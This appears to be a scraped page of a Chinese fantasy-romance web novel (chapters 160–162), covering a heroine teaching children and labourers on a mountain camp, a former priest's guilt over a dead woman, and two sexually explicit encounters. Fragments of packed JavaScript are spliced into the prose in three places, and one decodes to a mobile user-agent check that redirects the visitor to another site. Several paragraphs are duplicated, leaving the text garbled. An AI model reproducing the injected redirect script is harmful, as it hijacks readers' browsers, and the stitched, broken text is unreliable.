颜心的到来不过是多设一个毡帐,多个人吃饭的事,对栖真的帮助却不可估量。 她不是需要伺候的人,但有颜心为她操持生活,她确实省下更多精力放到正事上去。 而栖真觉得风宿恒真像她的哆啦A梦,一再予她惊喜,事后才知,那日他说要回万丈城,就为给她带回一块黑板。 黑色油沥糊上木板做面,至少三米长两米宽,稳稳搁在木架上;滑石加糯米灌入模具做出的粉笔,笔迹湿布一擦就行。 “以前应小包子的要求做的,现在正好拿来给你上课。总不见得我不在时,让你在别人身上写字。”面对栖真的惊喜和感激,风宿恒如是说。 如此一来,课堂越发地道了。 下午继续授课。 午膳时风宿恒悄悄告知下午要回次金光万丈城,没他旁听,栖真讲课轻松多了。 等课上完,傍晚时分看完容绽写的今日教案,正和他商量怎么修改,就听一声恸哭直扑面门。 “小姐!小姐!终于找到你了!” 栖真吓一跳,看向扑来跪倒的人。 颜心! 她又惊又喜,朝山道口看去,风宿恒果然回来了,所以是他把颜心带上山? 颜心布衣芒履,一身落拓,抱着她哭得不撒手:“小姐,自从大荒流走散,我一直在找你啊!” 栖真熟知风宿恒手笔,自然也要配合演一演:“好颜心,快起来,能再见比什么都好。” 谁知颜心退开,咚咚咚磕三个响头:“小姐,天大的好消息!大仇得报,那奸贼死了!” 栖真莫名:“谁?” “就是害死咱们府上六十口的仇人,辛丰大皇子风宿恒,他死了!” 一石惊起千层浪,消息在人群里产生强烈的涟漪,絮回他们惊诧地围过来:“死了?怎么死的?何时?” “我路上听说的,是肺疾,乾都都发丧了!我怕消息有误还问了好几拨人。小姐,是真的,他真地死了!”颜心声嘶力竭,激动得不能自已:“恶人无好报,我们收拾不了他,自有老天爷来收拾!” “因果报应,因果报应啊!” “死得好!死得好!多行不义必自毙!” “肺疾?便宜他了!这种人就该天打雷劈、绝子绝孙!” “天理昭昭,老天开眼啊!” 英迈、成校、典叔、阿陶热泪盈眶,有大仇得报的扬眉吐气。絮回和慕容相拥而泣。容绽只是坐着,或心潮起伏,旁人也难以窥视。 诅咒和谩骂在四周此起彼伏,栖真黑着脸疾步离开人群。 听不下去了。 等离山顶远了,才沉声道:“做什么来这出?” 风宿恒见她主动往林中去,便会意跟上。至深处,一把从背后抱住人道:“早说过骂两句无关痛痒,我从小被人骂的还少了?” 栖真挣扎道:“可我就是听不得你被人骂,一个字都不行。” 风宿恒将她翻过压在树上,用唇堵她那张带着火气的嘴。她今日在众人面前表白、撩拨,还因不想听他被骂而发火,真挠人心肝啊,他吻得贪婪,就想吃了她,半晌才放开道:“那么大声做甚?把人引来吗?” “别每次都靠亲一下糊弄过去。”栖真捶他。 “那亲两下。”风宿恒意犹未尽,呢喃着继续。 几天没亲热了。 此刻两人唇齿激烈交缠,他直勾勾咬着栖真的唇瓣辗转厮磨,脑中全是那晚毡帐里的旖旎画面。见过更动魄的,光亲就显得寒碜。风宿恒喘息渐重,分开后撑着树干强忍。 谁知下面坚/挺一下被人握住。 风宿恒被栖真的主动惊呆了。 栖真心头有火,之前被他按着手又不是没碰过,现下隔着布料在头上捏:“再找人骂到我跟前,就、就这么治你!” 拇指力道加重,一下按在最敏感处,风宿恒一声激喘:“你要我命吗?” “这就要命了?”反正开了头,她手下胆子渐大。握住的四指收力,拇指放肆,对顶头揉捏按搓起来,片刻就见男人眼神浸润,脖间青筋暴起,竟让她有种‘原来如此’的快意。 忽然手心一热,感受到某种湿。栖真不敢置信地看手心,电光火石间以为明了,脱口道:“你、你shsh……?” “没!”风宿恒浑身燥热地低吼:“不是!” “那这?”林中光线晦涩,可不妨碍瞧见他袍子上洇开的很小一滩水渍。 爱欲总和潮湿脱不开干系,风宿恒知道她不懂,生怕被看低,难得面露不甘:“我没那么快,你试过便知。” 栖真…… 谁管你快不快! 她咬唇,不想承认自己的好奇不合时宜,但再让她下手,也是真不敢了。 现在怎么办? 天气渐热,他穿得薄,看着好明显……山巅人多眼杂,天还亮着呢。 风宿恒手掌来回搓起粗粝的树皮:“你先回。” “放你一个?”栖真后知后觉适才是否做错事:“我陪你。” “那更下不去!”风宿恒心痒地想捏死她:“还是你要我现在就……?” “别!没!”栖真惊叫:“我走、这就走!” “乖。”风宿恒推了她一把:“先上去,安顿好颜心。” 颜心的到来不过是多设一个毡帐,多个人吃饭的事,对栖真的帮助却不可估量。 她不是需要伺候的人,但有颜心为她操持生活,她确实省下更多精力放到正事上去。 而栖真觉得风宿恒真像她的哆啦A梦,一再予她惊喜,事后才知,那日他说要回万丈城,就为给她带回一块黑板。 黑色油沥糊上木板做面,至少三米长两米宽,稳稳搁在木架上;滑石加糯米灌入模具做出的粉笔,笔迹湿布一擦就行。 “以前应小包子的要求做的,现在正好拿来给你上课。总不见得我不在时,让你在别人身上写字。”面对栖真的惊喜和感激,风宿恒如是说。 如此一来,课堂越发地道了。 科学课是孩子们最沸腾的时候。 栖真教测量,教折能飞到草甸另一头的纸飞机,带他们用折纸测试拱形桥的坚固,做隔很长距离都能听到的传话筒,展示摩擦起电,在晚上给他们看小孔成像,甚至带着大家一起设计出一张动力水车图。 玩起来,让孩子们意识到“物有原理”是最主要的,至于背后的力学、声学、光学、电学知识,她会讲,但止于概念,点到为止。 而《弟子规》还在继续。 教“父母呼,应勿缓,父母命,行勿懒。父母教,须敬听,父母责,须顺承。”时,她带孩子们讨论一个人该如何看待“孝”,并就“愚孝”的存在做了粗浅的分析。 到“冬则温,夏则凊,晨则省,昏则定。出必告,反必面,居有常,业无变。”,她讲怎么和家人和睦相处,如何在行为和语言上尽到一个家庭成员的责任。 至“事虽小,勿擅为,苟擅为,子道亏。物虽小,勿私藏,苟私藏,亲心伤。”能说的就更多!讲没有规矩不成方圆、讲德行和法治、讲遵纪守法的重要和慎独。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368186|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 再至“亲有过,谏使更,怡吾色,柔吾声。谏不入,悦复谏,号泣随,挞无怨。”多少人因为“表达反对意见”得罪人。如何表达意见本身就是一门学问,栖真不仅说理,还教实践。 大道理难教,是因为它宏观而博大。栖真的课堂却充满了欢笑和热闹。她只用小孩子听得懂的语言讲,借教具来具象化内容的核心,用形形色色的游戏吸引孩子的注意。她鼓励表达,接受不同意见,课堂全然开放。 但在临帖和默写上她又极严格,写不好、默不出的要罚。栖真一直强调这是基本功。会写字,写得好是成为读书人的第一步。她让孩子们别学她,从小没好好练,现下字都拿不出手,都算不得读书人。 她说得一本正经,可现场只是笑,根本没人信。 小的们或许只觉得栖真的课好玩,愿意学。大人们却知这般教化水平,整个中土都难觅。真是乍听惊艳,再听上瘾,一直听佩服不已。 这水平还不能叫读书人,谁能? 而对栖真来说,上课不是最难的,难的是备课。 哪些能讲哪些不行,哪些只能讲到什么程度,都要基于中土的现实。书到用时方恨少,这时才发觉风宿恒教她再多仍是九牛一毛,她对中土的认知还是杯水车薪。 为了不让观念和举例太脱离实际,她得把课纲跟他先过一遍。而每日傍晚基于当日记下的教案,还要和容绽讨论如何改进。 风宿恒的支持别人不知,但栖真和容绽的认真人人看在眼里。 有人觉得这两人天天一讲一写,饭来张口衣来伸手,什么活都不用干,太闲了才会如此。 也有人觉得不就是教几个黄口小儿?认两个字就行,何必搞那么多花样?尤其一大半孩子没几个月就要下山去。 栖真投入时,根本顾不上别人怎么想,以前写脚本如此,现在同样如是。 某日教到“丧三年,常悲咽,居处变,酒肉绝。丧尽礼,祭尽诚,事死者,如事生。”时,因为是教孩子,栖真想尽量淡化关于亲人离世的话题,而选择“如何处理悲伤”这个切入点。 谁知刚开头,就听有人厉声呵斥:“如此缪言,也敢大庭广众宣讲!” 围观人群一分,栖真便看到坐着轮椅的大神官容伯舒。 难得他同意阑珊推他出来晒晒太阳,在人群后听了两句,顿时火冒三丈。若手中有杖,恨不得杵地,阻她胡说八道。 “皇室仙去全为伺候神明,是喜丧!何来悲咽,何来丧三年?”容伯舒用力吼,浑浊的眼死死盯着栖真,好像她是危言耸听、扰人心智的妖女。 容绽一下站起身,叫了声阑珊,在阑珊的掺扶下到容伯舒面前单膝蹲下,轻声道:“师父,山下春花开得好,带您去看看。” 他让阑珊推轮椅往山道口去,在容伯舒气吼吼的骂声中回头道:“栖真,实在抱歉,你继续。教案我回来补。”说罢也跟去。 见容绽在山道口将容伯舒背上身,跟着阑珊下山,栖真才收回视线,对座下笑了一下:“看,人的观念和他的出身分不开,只有穿上对方的鞋,我们才能对不同的意见抱有更宽容的态度。” 栖真以为这就是个无关痛痒的小插曲,谁知那日回来,容伯舒居然让容绽跪在帐前,足足跪了一下午。 栖真问阑珊怎么回事,才知容伯舒大骂栖真妖言惑众,严禁容绽与她为伍,不许帮她抄什么教案。容绽一路沉默,怎么都不肯松口,容伯舒便转而骂他不忠不孝,罚他跪着反省。 这老顽固过去就心胸狭窄,不明是非,处处针对沈兰珍,如今又故态复萌。 栖真看不下去,心想就算罚你也悄悄来呢,如今山上耳目众多,他居然让地位相当于家主的容绽大庭广众下跪着,一点面子不给。 真是任性得一比! 最后还是柳絮回、慕容烟月和英迈去毡帐前磕头讨饶,才讨得容伯舒松口,准容绽去用晚膳。 栖真以为容绽跪了几个时辰,晚上总得回帐好好休息,谁知用完膳他仍回教学区,让柳絮回坐一边,复述当日课程,而他自己则伏案记录。 栖真过去坐下,絮回对栖真轻轻摇头,今日这出她都觉得丢脸,不知该怎么跟一个付春人解释大容皇室过时的观念和风俗。 倒是容绽一心两用,下笔如有神,还能开口道:“栖真,今日之事别放在心上,明日我会来。” 栖真看了看容伯舒的毡帐:“可是……” 容绽道:“如你课上所说,人生在世诸多身不由己,但时刻保持独立思考才是人之为人的意义所在。师父要我跪,我跪便是;而你讲授的东西功在千秋,让我不来听课,却是不能的。” 栖真笑:“阿绽过誉,哪至于功在千秋?” “这些内容得以普世,可重塑大容蒙学,造福子孙后代。”容绽道:“就是功在千秋。” 普世! 栖真原本只想借风宿恒的力量悄然行事,没想容绽竟道出同样想法。 风宿恒会支持都是正常,但容绽对她教的内容都如此认可,真让栖真惊喜。 看来他们在此事上志同道合。 难怪每堂课的笔记他都写得详细,细到她说的话都记录在案。 容绽早已不是大容的神官长,不再对万民肩负责任,可他心里仍时时刻刻记着造福百姓,栖真发觉自己心中那个丰神如玉的神官长大人好像又回来了。 栖真高兴,看看他,又看看柳絮回。 如今日子好太多,把人的气色也养回来。两人一说一写坐在一处,真是男子温润如玉,女孩眉眼爽利,端的郎才女貌。 絮回的心思栖真向来知道,想她和容绽同甘共苦多年,也不知何时修成正果。 栖真便装作道听途说道:“我听闻大容皇室好像有什么……和神明的契约?阿绽都离宫那么久了,那契约是不是不用守了?” 161. 第 161 章 她说的是大容神官长终生不能娶妻的戒律契。 柳絮回立时转头看来,容绽也停笔,对栖真惊讶,很明显他们都没想到栖真居然听说过契约。 其实这也是柳絮回五年来心头疑问,可她不敢问,因为觉得容绽若还负契,她问,徒惹人伤怀;若已然废除,她问出来,又像意有所图。 所以现下被栖真一个“外人”直白问出,倒也正中下怀,便掉转目光,只管盯着容绽,看他如何作答。 容绽略低头,也不知在想什么,片刻才道:“我也不知道。” 大容皇室从未被废除过,所以他也不知自己现在还须守契,还是早已恢复自由身。 栖真知絮回对此一定极关心,怎奈脸皮薄,总在心上人面前闷腔,当下决定助攻一把,便对容绽道:“兴许可以问问你师父,若不受约束了,身边有好姻缘,别错过啊。” 栖真给柳絮回递眼色,意思让她加把劲,谁知容绽道:“无论是否身负契约,此生我都不会娶妻。” 这话实在太钢铁直男,杀伤力太大了! 把栖真和柳絮回听得一愣。 然后就见絮回面色骤变,满脸无法掩饰的吃惊和伤悲。 栖真赶忙问容绽:“若无约束,为何这般苛待自己?” 容绽却提笔:“阿絮,继续。” 他根本不想回答这个问题,便催柳絮回继续说,他好继续写。 可柳絮回再也忍不住,起身跑了。 见她离去前掉落的伤心泪,栖真就想跺脚:“阿绽!你这般说,会辜负多少心系于你的情意!” 容绽眼皮翕动,默然不语。 栖真刚才也是急了,仔细想想,冷静下来好声劝:“你若是担心自己眼睛看不见拖累人,我们遍寻四海名医为你延治,可你千万别失去信心。说出这种断情绝爱的话,得让多少人难过呢。” 多少人? 哪来多少人? 听完此话的容绽居然扯了下嘴角,虽然瞧上去殊无笑意。 “不是因为眼睛。”他开口道:“身世凋零、一无所有的人,谈何情爱?” 这话说的! 絮回她爹司工还在朝,她当年若非为了救你,何须铤而走险劫狱,何须冒着生命危险陪你五年?她难道不是为你变得一无所有? 栖真都想翻白眼了。 “一无所有的人多了去,这山上谁不是?”栖真的话多少带些不豫:“感情一事固然不能勉强,但若为这种理由强作自卑,那才叫对不起人家心意。” 容绽被她口口声声逼着,原本那番托词在这言论下竟站不住脚。照理,这话他不会直白道出口,但此刻他心潮涌动,竟也不管不顾说了出来:“我心里有个姑娘,生前我护不了她,如今她香消玉殒,我便在心中守着她,守她一辈子。” 栖真惊了! 彻底震惊了! 容绽居然还在念着沈兰珍? “她是为你而死吗?”栖真着实觉得荒谬,就想点醒他。 “当年,若非我将敌人身份传回宫,父皇不会暴怒之下杀她亲子,她便不会暴起屠我父皇,更不会被风宿恒一箭穿心。” 深藏心底的话从未对人言过,可容绽既然不经意间知道了栖真的情意,便不想耽误她。今晚话赶话到了这份上,再说不出口的,为了拒绝也不得不说一说了。 如果容绽看得见,一定会发现栖真现在的表情很不对劲。 她脸都憋红了,面上除了震惊,还有恍然大悟。 早从风宿恒口中得知嘉和帝在城墙上给她看的影像是容绽传回的,可她没想到这事会让容绽内疚至此。 他竟是这么想的? 他竟将沈兰珍和嘉和帝的死全归在自己头上? 所以才坚称终生不娶? 栖真明白过来,心酸、心疼、愧疚全数叠加,压得她喘不过气。 “她暴起屠你父皇?”栖真故作镇定道:“你喜欢的女子是哪路神仙?居然连大容皇帝都能屠戮?” 这一问,正中核心! 因为说起这桩,容绽始终没想明白过。 “她不会武,也从未修炼,可我见她的最后一面,她身负火系法术,毁天灭地,至少在极灭境了。” “是啊,你不觉得奇怪吗?”栖真旁敲侧击:“一个平时都不会武的人,忽然变得那么厉害,她还是她吗?会不会是被夺舍或附身?” 她就想引容绽想想沈兰珍身上的那些疑点,最好让容绽自己醒悟——那个沈兰珍,根本不是他原本爱的人。 “夺舍、附身?” “就是别人的魂魄附在她身上。” 容绽如遭雷击。 若出身江湖或仙宗门派,他可能早就想到夺舍或附身,可惜容绽所处的是百年来与外界全不相通的大容,而之后五年东躲西藏,那个层面的事他就更没机会探究。 没人会跟他说这些,他自己也不会想到,可现下经人一点,他脑中活像开了天窗。 透亮了! 这些年想不明白的事,立马有了合理解释。 母后薨逝第二日,沈兰珍磕到头后为何性情大变,像完全变了一个人? 听栾乐说,他们回程借住栾府那晚,沈兰珍和当时假扮太子的风宿恒在院中有过一段对话,说从神明大宫取回了真正的炼魂鼎。 沈兰珍不可能懂法术,不可能有儿子,不可能顶撞大神官,不可能在岛上英勇至此,更不可能有胆子动炼魂鼎…… 但若换一个人…… 一切就说得通了! 这人岁数一定比沈兰珍大,她有一个叫凡心的儿子。她知道自己儿子成了祭童,所以想办法附在沈兰珍身上来大容救人。 而且,这儿子还是她跟风宿恒生的! 但她和风宿恒……一定不是爱侣,否则风宿恒不会一箭要了她的命。 炼魂鼎验的没错。 他一直以为是当时扮做容聘的风宿恒在滴血验亲中做手脚,其实没有。 风宿恒没有做手脚,有问题的是沈兰珍。 那时风宿恒说:“皇兄有多了解,才敢为她断言?” 可笑那时他竟真地言之凿凿为她辩解! 可笑那时他跟风宿恒说:沈部像倾心于你或许是真,但绝不可能有私生子! 沈兰珍不可能有,可那个附在她身上的人…… 想到这里,容绽只觉浑身冰凉,只因他忽然想到……兰珍已逝,不代表那屡魂魄不能附身别人或回归本身。 就是说,很可能那女子根本没死! 谁能解此悬案?他如今能想到的只有风宿恒,毕竟风宿恒和这女子有千丝万缕的关系。 可现下,连风宿恒都死了…… 那他还有可能找到她吗? 这个毁他家国、杀他父皇、害死沈兰珍的仇人! ………… 如果栖真知道今晚为撮合他和柳絮回说的话,竟让容绽几乎洞悉真相,且在心里埋下更加惊涛骇浪的仇恨,她一定会扇自己两巴掌。 但她不知道。 她就见容绽像被定了身,毛笔啪嗒掉在纸上,像受了莫大的刺激,整张脸都失了血色。 刚想开口叫他一声,容绽倏忽站起,仓惶便走,连阑珊都忘了叫来。 “阿绽!”眼看他要撞上一边桌角,栖真赶忙起身相扶,竟见容绽紧闭的眼中流下泪来,着实把栖真吓了一跳。 他到底有多爱沈兰珍? 爱到听一听关于她的猜测都受不了? 栖真觉得自己受的冲击不亚于他,对着容绽的失魂落魄,她也全然愣忡了。 直到掺扶容绽的手被人抽回,身边有个微沉的声音道:“栖真。” 回头。 是四日不见的风宿恒。 ………… 自把颜心弄上山,风宿恒便放了心,终于道出想再上驼暮山的想法。 知道他想去驼暮山,是为她求脱困之法,栖真怕他长途御剑疲累,便让他多陪陪小包子,在山上住两日再回。 可风宿恒没想到,他一回来就见到心上人和别的男人抱作一团的动情场面,一个目不转睛,一个泪流满面。 当下叫阑珊扶容绽回去,他看了眼栖真,转身就走。 栖真一见风宿恒,心头漫上小别重逢的喜悦,谁知话没来得及出口,就被他扔下的眼神慑住。 她心头喊遭,也不敢停在原地,只好亦步亦趋地跟着。 可风宿恒不理人,长腿一迈,快步下到三峰溪边。 天色已晚,溪边寂静无人,和山顶敲敲打打人声鼎沸的热闹成鲜明对比。 风宿恒沿着三峰溪往下游去,到一处隐蔽的岸边,脱衣下水。 一路风尘仆仆,四天没洗了。 脱衣也好,下水也罢,他动作一气呵成,权当身后没人。 栖真挨挨蹭蹭蹲到岸边,求道:“阿畅,理理我嘛。” 风宿恒只管背对她,在齐腰深的水里清洗。 栖真在地上画小圈圈:“你回来,我很开心的。” 风宿恒索性全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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四日没见,风宿恒本是怀着热烈心绪回的山,可那一眼看得他……真是一时没忍住才走人。 走也不是发脾气,纯粹想冷静一下。 现下听栖真道歉,尤其那句“只要让阿畅不舒服的事,就是我的错”不仅彻底抚平一缸醋,心都被哄得软成水。 可面上还是沉着,推她下巴:“再亲要掉水里了。” 栖真见风宿恒终于软化,才放开一点道:“拿布巾了吗?有干净衣服吗?” 风宿恒………… “我帮你拿!”她转身回山,像只快乐的小雀。 取回来,她把衣袖卷高,殷勤地举起布巾:“来。” “没洗完呢。” “你洗。我帮你擦头发,湿着要头痛的。” 风宿恒索性背靠岸,随她擦,看向天际攀升的银辉,嘴角绽出一抹不自知的笑。 醋什么? 身边有人哄,又是这么可爱的一小只,滋味太好了! 思绪正在游离,两条藕白的胳膊从后拢上,热意的吻落在他耳根。 “最近…恢复不少了?更有肌肉了呢。” 风宿恒觉得左边身子都在痒,痒到心里,可仍由着栖真吻,有心上人的膜拜,每日入大荒流的地狱修炼仿佛都不值一提。 他拉下她的手放到一处:“这里。” 栖真捏了捏:“哇塞,才一个月不到。” 充满荷尔蒙的触感,变化好大。 手不老实往下去,栖真耳语:“腹肌都有了,怎么练的?教教我。” 风宿恒拢上那只不安分的手,生怕它又像上次那般兴起给他来一下:“你也要练?” “师父身材顶级,徒弟也不能输啊。”栖真亲他耳垂。 风宿恒战栗,偏头:“惹火呢?” 栖真抽手伸到水里,一把撅住他:“师父……” 风宿恒闷哼,想拽她出来:“水冷……” 还记着她说过没做好月子,手不能碰冷水。 “不碍事。”栖真魅惑的语气真能把人的魂都勾出来:“小阿畅不高兴了,得宽慰宽慰它。” “胆子……越来越大。”风宿恒被控制住,侧头追要她的吻:“哪不高兴,精神着呢。” 栖真系在腰际的驱虫香囊随前倾浸入水中,艾草和丁香混合的馥郁香气化开后窜入鼻尖,让人想更加狂放。 手里的火热会传染,水烫,身后的呢喃让人丢盔弃甲。 “出来就不生气,好不好?” 涟漪越来越密,刻意压低的喘息从岸边的垂柳间透出去,恰恰惊起枝头的夜枭。 夜枭扑到对岸栖身,好奇地看着暗夜里的人,不懂他们的情不自禁和来势凶猛地爆发。 一春生命随溪水远去,夜枭腾起飞向山峦时,弄的人手废了,被弄的差点死在身后的怀抱里。 162. 第 162 章 “向死而生?”栖真重复这句话。 “对,这就是慕仙台给出的答案。” 两人靠在树下,夜半无人窃窃私语。 “怎么听着不像好话?”栖真枕着肩,揉着手:“不想再来一次死不死了。不想我,更不想你。” 慕仙台虽然给出答案,但这句“向死而生”到底何意,他们怎么想都不明白。 栖真遂问起小包子近况,便听风宿恒道:“很好。饭量更大了,能静心了,修炼掌握了关窍,后面无非一日千里。哦,还有一桩,我把我们的事都告诉他了。” 栖真一吓,支起身:“啊?” “猜他怎么说?”风宿恒在栖真耳边坏坏地咬耳朵:“他让我转告你,明年若有了小弟弟,能不能叫风尘心。” 栖真…… 风宿恒双掌握住她腰窝:“真真觉得呢?” 每次他手在她腰上一扣,栖真就软得动弹不得:“觉得什么?明年?小弟弟?还是风尘心?” “弟弟妹妹随缘,什么心你定。”风宿恒把那纤稠合度的腰窝往自己身上压:“时机,听我的。” 栖真痒地呵呵笑,心中却漫过一阵阴云,她顺势倒在风宿恒身上,忽然说了一句:“昨日又是去见重离的日子,还是老样子。” 说起这桩,也奇葩得很。 那日她带着刚蒸出的小笼去见重离,在他面前吃完两屉,用自己无比生动的表情证明这玩意儿到底有多好吃,重离终于决定试一下。 他用一根筷子插起一个,沾了醋。 那日栖真从安置舱出来,就见重离脸色灰败,在沙发上挪动身体,坐立不安的样子。 栖真问他怎么了。 结果再次被他不留情面地扔回草甸。 扔出去前,重离给了一句话:“三个月后再来!” 栖真莫名,只能猜测是小笼让他吃出了问题。 可谁能想到这个来自未来的男人,是真地没法吃一丁点东西。 栖真就这样莫名其妙得来三个月大假。 可是见重离一事毕竟关系到风宿恒的安危,保险起见,栖真还是会每过五日去铁索桥处看一看。 但时至今日,铁索桥再没出现。 当初得知栖真三个月不用去见重离时,风宿恒很是高兴,甚至盘算过更可怕的念头。但他在想什么,栖真一眼就明白。她什么都没说,只是对他摇了摇头,风宿恒心领神会,就此闭口不提。 此刻他还在回想这桩,就听怀里的栖真柔声道:“阿畅,我得坦白,适才有句话我可能做不到。” 她笑嘻嘻看过来:“就是那句‘离阿绽十米远,绝无任何肢体接触,绝不和他一起散步,能不说话就不说话’。” 风宿恒……… 栖真亲了亲他下巴:“我对阿绽有愧,也有志同道合的默契,我引他为友,但绝无私情,他再摔倒我还是会扶的。” 风宿恒早有些后悔今日失态,正愁怎么才能让栖真别介怀,一切照常便好。现下听她这般说,心下一暖,爱意更甚,面上却笑得冷酷:“敢情刚才哄我呢?” 栖真不好意思地抠他衣襟上的盘扣:“情绪上头不说理,冷静下来不糊弄。现下大家都冷静了,我就得说说理,可不能把阿畅当不明是非的大醋精糊弄。” 风宿恒真下手挠她:“好你个伶牙俐齿,话都道尽了,还让我说什么?” 栖真拼命躲,差点笑出泪来:“这醋吃得好,我爱还来不及。” “吃醋是闺中情趣,师父想要了就吃一次醋。”她也返手挠风宿恒:“说好了,你吃一次醋,我吃一次你。” ………… 栖真先回的山顶。 别说手酸,现下唇都肿了。 风宿恒适才的话还响在耳边:“你想点醒容绽,殊不知他会放下执念,还是更燃仇恨?原本他只当沈兰珍死了,如今只怕更想寻那李代桃僵之人。真真,答应我,绝不能让他知道背后是你。” 人之两难,源于无法看清事情全貌。栖真目视满天星子,轻吁口气。 工地上的司辰早已指向亥时半,劳作一日,人都回帐入眠。漆黑的山顶亮着零星几盏格子灯。 栖真在草甸穿行,见一处空地上蹲着个背影,不知在地上弄什么。过去一看,翻出的泥土被踩平整,上面一笔一划都是文字。 蹲着的人拿根小树枝,居然在做竖式。 栖真轻咳,那人像被抓包,扔了树枝起身,回首一看,局促道:“小……姐、姐……” 呵,还有人第一面叫她小姐姐? 栖真知这汉子是工匠队的,便问:“在这里做什么呢?” 汉子低头挠腮:“小的叫阿闯,白霆在您这儿上了课,回来教我们一些,我想晚上练练。” “怎不拿盏灯?” 阿闯更紧张了:“不用不用,就随便写写,不用灯。” 栖真看地上,一笔一划很认真,但字形滑稽,很多笔画都是错的,便问:“你想学字?” “想!” 自强不息的人总让人想帮一把,栖真道:“未时到未时半正好午休,你若得空,可以来我们这儿学。” “真的?”阿闯不敢相信自己耳朵:“小姐、小姐愿意?” 栖真解释道:“怕耽误你们休息,目下也只有这个时段。” 大个子激动地鞠躬:“不耽误、不耽误,啊,不不不,是小的耽误小姐时间,谢谢谢谢!” 栖真让他不用客气,道声晚安便走了。 隔日用完午膳,果见三个人高马大的汉子在教学区旁忐忑站着,仿佛靠近点书香气都会让他们浑身不自在,垂着眼不好意思多看。 阿闯穿着露膀子的青布褂,瞧着二十四五岁的年纪,年轻的脸晒得干红。相貌倒大气,浓眉大眼,精神头很足的样子,比昨晚更坐立不安。 他腼腆道:“这是焘兴和洪柱,他们也想来听一听。” 栖真让他们坐,随和地问了问三人学过什么,想学什么。 阿闯惭愧挠头:“家里穷,村里也没夫子,听说镇上有学馆,可是束脩太高了。” 换句话说,都是零起点。 栖真见三人诚心,便道:“这样吧,以两月为限学五百个字,虽不至于看懂经史子集,至少能应对日常。” 三人一听,对方不是心血来潮只教一日,而是给他们定了时间和目标,都惊喜非常,感恩连连。 阿闯激动道:“能不能、能不能……?” 栖真笑:“我不吃人,你慢慢说。” “白霆他们学的算算子,我们也想学。” “可以。”栖真道:“不过每日只得午时一点时间,两样都学,你们一点休息都没有了。” 阿闯连连摇头:“不用休息,我们只想学。” 栖真便从执笔教起,给他们演示“一”字如何起笔收尾。三人在裤子上净擦手,明明洗得很干净仍不敢提笔。见栖真举笔等他们,眼神是温暖鼓励的,才敢拿起来。 拿起来,又不敢落笔,个个对着桌上的白纸踌躇。 最后还是阿闯道:“小姐,我们付不起束脩,就,就不写那么好的纸了吧,别浪费了。” 栖真笑道:“不收你们束脩,写就是了。” 她不觉得自己说了什么特别的话,谁知阿闯听完,眼眶都红了。 栖真一笑,鼓励两句,便认真教起来。 一个时辰很快过去,临要上工,她道:“你们若愿意,随时可以来这里用纸笔练习,你们是受欢迎的。” 阿闯三人虽是零基础,毕竟是大人,自制力比孩子强很多,抓住机会就铆足劲学。 很快栖真就发觉焘兴和洪柱对数字敏感,不过几天功夫就把一百以内加减法掌握熟练,她便让聂灵鸢来教他们打算盘。 阿闯则是三人里悟性最高、最用功的,每天不仅练栖真教的字,连弟子规也从白丁那儿讨来。每晚亥时下工,洗个手擦把脸就来教学区练。栖真指点过他几次,跟他说不用把字写那么小,不用密密麻麻写满才换纸。 他只是笑笑,说能省一张是一张。 所以这段时日来,每当山头响起汉子们辛勤劳作后此起彼伏的呼噜声时,教学区还亮着灯。 阿闯安安静静写字,而不远处,柳絮回安安静静刺绣。 又卖出去两幅绣品,赚了七千两银子,加上之前五千两,便是一万两千两。茶馆的分成和《梁祝》书籍的分成还有六千两,栖真这边出的也不少,加起来差不多三万两。 这个入账速度,大大超过五年来任何时刻。 怎奈现下开销大,聂灵算的三万三千量还只是房子开支,若把山上每日吃食和工钱加起来,四万两都不止。 自从阿月拿起绣针,两人配合无间,进度快很多。但刺绣是个精细活,太耗时间,她只能趁大伙儿睡了,点上两盏格子灯,再悄悄多绣一点。 日子比以前好了,就舍不得它倒退。柳絮回想着无论怎样都得多赚些,等房子造完还能买些家什,改进伙食,甚至……看能不能托阿畅问问,五湖四海有没有更好的医者,或仙丹妙药,能治阿绽的眼疾。 一想到阿绽,柳絮回手里的绣针就戳不下去了。 晕黄的灯光里,一滴泪水掉在绣帕上,她赶紧提灯凑近,小心翼翼用衣袖将泪渍吸干。 阿闯每晚练字,都会看到主家这位叫阿絮的小姐在刺绣。 虽然有两盏格子灯照着,到底不比白日天光,经常见她绣一会儿停手揉揉眼,绣一会儿活动下腕。 他俩从未说过话,每晚各占一边,各做其事。可阿闯在其他工匠闲聊时听说过,这位小姐是主家那边领头的,是他们的顶梁柱,负责赚家底的。 阿闯觉得这女人真厉害,也不容易。 其实谁活着,都不容易。 所以这日他听到动静一抬头,发现她悄悄落泪,不知为何,心像被针轻轻扎了一下。趁她起身去茅厕,忙把自己那盏格子灯放到绣架前的方桌上。 阿闯睡前想,有三盏灯照着,那双好看的眼睛就不会再疼到流泪了吧。 学习这事,有人开头,便有人学样。 看着阿闯、焘兴、洪柱每日用功,渐渐地也有别的匠人跑来问能不能一起学,其中就有小花子和小木匠的爹赵四和阿岳的爹莫生。有的人图新鲜,学了两天没兴致便不来了;有的实在觉得难,提笔就发晕,自认不是读书的料便放弃了。赵四和莫生却一直坚持下来。 栖真也不多说什么,愿意来的教,放弃的也不苛责。 她心里盘算着事,遇五月初是中土传说中工匠鼻祖鲁达的寿诞,于是和絮回商量,午膳时在山头摆了六桌席面。 所有人看着桌上一盆盆生肉生菜,不知主家卖什么关子。 待人坐定,栖真让人端上六个碳炉,每桌放一个,每只炉上置了大锅。 “一个月来辛苦大家,每日早起晚睡、劳心劳力,今日借着鲁达寿诞,给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 